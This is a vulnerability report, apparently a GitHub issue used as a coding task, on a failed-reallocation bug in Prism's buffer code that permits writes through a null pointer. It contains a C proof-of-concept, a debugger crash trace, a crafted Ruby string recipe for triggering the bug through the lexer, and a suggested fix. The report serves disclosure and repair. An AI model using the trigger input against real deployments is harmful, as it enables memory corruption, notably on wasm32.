Memory corruption after failed xrealloc_sized in pm_buffer_append_length

Start with src/buffer.c and trace pm_buffer_append_length and its callers; the issue also describes a lexer path in src/prism.c, in parser_lex under PM_LEX_STRING. Reproduce the failed reallocation followed by another append, then check that allocation failure cannot leave the buffer in a state that permits a write through a null pointer. The issue gives no test file or command, so locate the relevant buffer and lexer tests and verify the regression there.

I reported this to [email protected] and [email protected] suggested a github issue.

// src/buffer.c
static PRISM_INLINE bool
pm_buffer_append_length(pm_buffer_t *buffer, size_t length) {
    if (length == 0) return false;

    size_t next_length = buffer->length + length;
    const size_t original_capacity = buffer->capacity;

    if (next_length > buffer->capacity) { 
        if (buffer->capacity == 0) {
            buffer->capacity = 1;
        }

        while (next_length > buffer->capacity) {
            buffer->capacity *= 2;
        }

        buffer->value = xrealloc_sized(buffer->value, buffer->capacity, original_capacity);
        if (buffer->value == NULL) return false;
    }

    buffer->length = next_length;
    return true;
}

static PRISM_INLINE void
pm_buffer_append(pm_buffer_t *buffer, const void *source, size_t length) {
    size_t cursor = buffer->length;
    if (pm_buffer_append_length(buffer, length)) {
        memcpy(buffer->value + cursor, source, length);
    }
}

When xrealloc_sized(buffer->value, buffer->capacity, original_capacity) fails and returns NULL, pm_buffer_append_length:

• Overwrites buffer->value = NULL (0x0), leaking the previous buffer allocation,
• Leaves buffer->capacity set to the newly doubled capacity,
• Leaves buffer->length set to the pre-append offset (cursor), and
• Returns false instead of calling PRISM_OOM()

Because buffer->capacity is already updated to the larger value while buffer->value is NULL and buffer->length remains at cursor, any subsequent append to the same pm_buffer_t with cursor + payload_len <= buffer->capacity succeeds on the fast path (next_length <= buffer->capacity is true) and executes:

memcpy(buffer->value + cursor, source, payload_len);
// i.e. memcpy((char *)NULL + cursor, source, payload_len);

On native targets, this causes a write fault at NULL + cursor. In 32-bit WebAssembly (wasm32), where address 0x00000000 is valid linear memory (containing the Wasm shadow stack and .rodata/.data), this turns a failed buffer reallocation during lexing or serialization into an arbitrary low-memory write primitive (memcpy((void *)cursor, payload, payload_len)).

Making a low-memory write gadget

1. Directly call pm_buffer_append_bytes (for demonstration purposes)

Any sequence of three pm_buffer_append_bytes calls on the same pm_buffer_t where the second call exceeds available heap memory (so xrealloc_sized returns NULL) and the third call fits within the newly doubled buffer->capacity will write to NULL + target_cursor:

#include "prism.h"
#include "prism/buffer.h"
#include "prism/internal/buffer.h"
#include <stdlib.h>
#include <string.h>

int main(void) {
    pm_buffer_t buffer = { 0 };
    size_t target_cursor = 0x800;

    // 1. Advance buffer.length to target_cursor (0x800):
    uint8_t *prefix = calloc(1, target_cursor);
    pm_buffer_append_bytes(&buffer, prefix, target_cursor);
    // Now: buffer.value != NULL, buffer.length == 0x800, buffer.capacity == 0x800

    // 2. Request a growth that exceeds available heap memory so xrealloc_sized returns NULL
    //    (e.g., under RLIMIT_AS / Wasm max-memory, or a large chunk near SIZE_MAX / 2):
    size_t unallocatable = (size_t) 1 << (sizeof(size_t) * 8 - 2);
    pm_buffer_append_bytes(&buffer, prefix, unallocatable);
    // xrealloc_sized returns NULL!
    // Now: buffer.value == NULL, buffer.length == 0x800, buffer.capacity >= unallocatable

    // 3. Append a small payload (0x800 + 16 <= buffer.capacity):
    //    pm_buffer_append_length sees next_length <= buffer.capacity, skips xrealloc_sized,
    //    returns true, and executes memcpy((char *)NULL + 0x800, "rubyrubyrubyruby", 16)!
    pm_buffer_append_bytes(&buffer, (uint8_t *)"rubyrubyrubyruby", 16);

    free(prefix);
    return 0;
}

In lldb,

* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x800)
       frame #0: 0x000000018d807f08 libsystem_platform.dylib`_platform_memmove + 424
libsystem_platform.dylib`_platform_memmove:
->  0x18d807f08 <+424>: str    x6, [x3], #0x8
    0x18d807f0c <+428>: subs   x2, x2, #0x8
    0x18d807f10 <+432>: b.hs   0x18d807f04    ; <+420>
    0x18d807f14 <+436>: adds   x2, x2, #0x8
Target 0: (testcase) stopped.
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x800)
   * frame #0: 0x000000018d807f08 libsystem_platform.dylib`_platform_memmove + 424
     frame #1: 0x0000000100011ab4 testcase`pm_buffer_append(buffer=0x000000016fdfe890, source=0x00000001000c0780, length=16) at buffer.c:92:9
     frame #2: 0x0000000100011aec testcase`pm_buffer_append_bytes(buffer=0x000000016fdfe890, value="rubyrubyrubyruby", length=16) at buffer.c:153:5
     frame #3: 0x00000001000b2074 testcase`main at test.c:26:5
     frame #4: 0x000000018d427e80 dyld`start + 6688

2. Triggering Through pm_parse via a Single Escaped Ruby String Literal

In src/prism.c (parser_lex, case PM_LEX_STRING:), when a double-quoted string contains backslash escape sequences, the lexer scans from backslash to backslash in a while (breakpoint != NULL) loop, appending each literal slice between backslashes into a single token_buffer.buffer (pm_buffer_t) via pm_buffer_append_bytes before emitting PM_TOKEN_STRING_CONTENT.

This allows a single Ruby string literal of the form:

"<target_cursor - 1 spaces>\n<middle_padding_chunk>\u{}<16-byte payload>"

to drive the exact three-step sequence on token_buffer.buffer:

1. Step 1 — Position buffer->length at target_cursor (e.g., 0x800):
   • The lexer encounters the first escape sequence \n after target_cursor - 1 spaces.
   • It initializes token_buffer.buffer and appends the target_cursor - 1 spaces plus the decoded 0x0a byte, setting buffer->length = target_cursor (0x800) and buffer->capacity = 0x800.
2. Step 2 — Trigger a failed xrealloc_sized on <middle_padding_chunk>:
   • Next, the lexer scans forward to the second backslash (\u{}), spanning <middle_padding_chunk>, and calls pm_buffer_append_bytes(&token_buffer.buffer, slice, middle_len).
   • pm_buffer_append_length rounds buffer->capacity up to the next power of two >= target_cursor + middle_len and calls xrealloc_sized.
   • Whenever that doubled capacity exceeds the remaining free heap — for example, in a 64 MB wasm32 module (or under RLIMIT_AS), a ~17 MB <middle_padding_chunk> forces buffer->capacity to double to 32 MB (0x2000000), which cannot be allocated alongside the input string and existing 16 MB buffer (or if earlier allocations in the file have already filled most of the heap, even a 1 MB chunk forcing a 2 MB xrealloc_sized will fail) — xrealloc_sized returns NULL.
   • pm_buffer_append_length sets buffer->value = NULL, leaves buffer->capacity at the newly doubled size (e.g., 32 MB or 2 MB) and buffer->length at target_cursor (0x800), and returns false (skipping the memcpy of <middle_padding_chunk>).
3. Step 3 — Subsequent append after \u{} writes to (char *)NULL + target_cursor:
   • Next, the lexer processes \u{} (an empty Unicode escape, which writes 0 bytes and leaves buffer->length unchanged at target_cursor) and then reaches the closing " after the 16-byte <payload> ("rubyrubyrubyruby").
   • The lexer calls pm_buffer_append_bytes(&token_buffer.buffer, payload, 16):
     • cursor = buffer->length (0x800).
     • pm_buffer_append_length computes next_length = 0x800 + 16 = 0x810.
     • Because next_length <= buffer->capacity is true, pm_buffer_append_length skips xrealloc_sized, sets buffer->length = 0x810, and returns true.
     • pm_buffer_append then executes:

       memcpy((char *)NULL + 0x800, "rubyrubyrubyruby", 16);
       

Suggested Fix

Update pm_buffer_append_length in src/buffer.c to check for addition and multiplication overflow and call PRISM_OOM() whenever xrealloc_sized returns NULL (matching pm_arena_zalloc and xmalloc handling elsewhere in Prism):

static PRISM_INLINE bool
pm_buffer_append_length(pm_buffer_t *buffer, size_t length) {
    if (length == 0) return false;

    size_t next_length = buffer->length + length;
    if (next_length < buffer->length) {
        PRISM_OOM();
    }

    const size_t original_capacity = buffer->capacity;

    if (next_length > buffer->capacity) {
        if (buffer->capacity == 0) {
            buffer->capacity = 1;
        }

        while (next_length > buffer->capacity) {
            if (buffer->capacity > SIZE_MAX / 2) {
                PRISM_OOM();
            }
            buffer->capacity *= 2;
        }

        buffer->value = xrealloc_sized(buffer->value, buffer->capacity, original_capacity);
        if (buffer->value == NULL) {
            PRISM_OOM();
        }
    }

    buffer->length = next_length;
    return true;
}